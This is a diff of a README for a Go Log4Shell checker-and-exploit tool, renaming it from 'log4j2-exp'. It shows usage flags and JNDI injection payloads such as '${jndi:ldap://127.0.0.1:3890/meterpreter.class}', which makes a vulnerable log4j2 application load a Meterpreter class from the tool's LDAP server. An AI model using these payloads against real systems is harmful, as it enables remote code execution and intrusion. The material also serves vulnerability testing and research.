1- # log4j2-exp
1+ # Log4Shell
22 * Check and exploit log4j2 vulnerability with single Go program.
33 * You don't need to install anything except develop it.
44 * It supports ldaps and https server for other usage.
55
66## Run
7- ``` log4j2-exp.exe -host "VPS IP address" ```
8-
7+ ``` Log4Shell.exe -host "VPS IP address" ```
98
109## Check
11- * run the log4j2-exp server
12- * send ``` ${jndi:ldap://127.0.0.1/nop.class} ```
10+ * run the Log4Shell server
11+ * send ``` ${jndi:ldap://127.0.0.1:3890 /nop.class} ```
1312
1413## Exploit
15- * run the log4j2-exp server
14+ * run the Log4Shell server
1615 * put your class file to the payload directory
17- * send ``` ${jndi:ldap://127.0.0.1/meterpreter.class} ```
16+ * send ``` ${jndi:ldap://127.0.0.1:3890 /meterpreter.class} ```
1817 * will open source after some time
1918
2019## VulApp
2120 * VulApp is a vulnerable Java program that use log4j2 package.
2221 * You can use it for develop this project easily.
23- * ``` java -jar vulapp.jar ${jndi:ldap://127.0.0.1/calc.class} ```
22+ * ``` java -jar vulapp.jar ${jndi:ldap://127.0.0.1:3890 /calc.class} ```
2423
2524## Help
2625 ```
27- ::: :::::::: :::::::: ::: ::::::::::: ::::::::
28- :+: :+: :+: :+: :+: :+: :+: :+: :+:
29- +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+
30- +#+ +#+ +:+ :#: +#+ +:+ +#+ +#+
31- +#+ +#+ +#+ +#+ +#+# +#+#+#+#+#+ +#+ +#+
32- #+# #+# #+# #+# #+# #+# #+# #+# #+#
33- ########## ######## ######## ### ##### ##########
26+
27+ ::: :::::::: :::::::: ::: :::::::: ::: ::: :::::::::: ::: :::
28+ :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+:
29+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+
30+ +#+ +#+ +:+ :#: +#+ +:+ +#++:++#++ +#++:++#++ +#++:++# +#+ +#+
31+ +#+ +#+ +#+ +#+ +#+# +#+#+#+#+#+ +#+ +#+ +#+ +#+ +#+ +#+
32+ #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+#
33+ ######## ######## ######## ### ######## ### ### ########## ######## ########
3434
35- https://github.com/For-ACGN/log4j2-exp
35+ https://github.com/For-ACGN/Log4Shell
3636
37- Usage of log4j2-exp .exe:
37+ Usage of Log4Shell .exe:
3838 -host string
3939 server IP address or domain name (default "127.0.0.1")
4040 -http-addr string
4141 http server address (default ":8080")
4242 -http-net string
4343 http server network (default "tcp")
4444 -ldap-addr string
45- ldap server address (default ":389 ")
45+ ldap server address (default ":3890 ")
4646 -ldap-net string
4747 ldap server network (default "tcp")
4848 -payload string
@@ -56,4 +56,4 @@ Usage of log4j2-exp.exe:
5656 ```
5757
5858## Screenshot
59- ![ ] ( https://github.com/For-ACGN/log4j2-exp /raw/main/screenshot.png )
59+ ![ ] ( https://github.com/For-ACGN/Log4Shell /raw/main/screenshot.png )
0 commit comments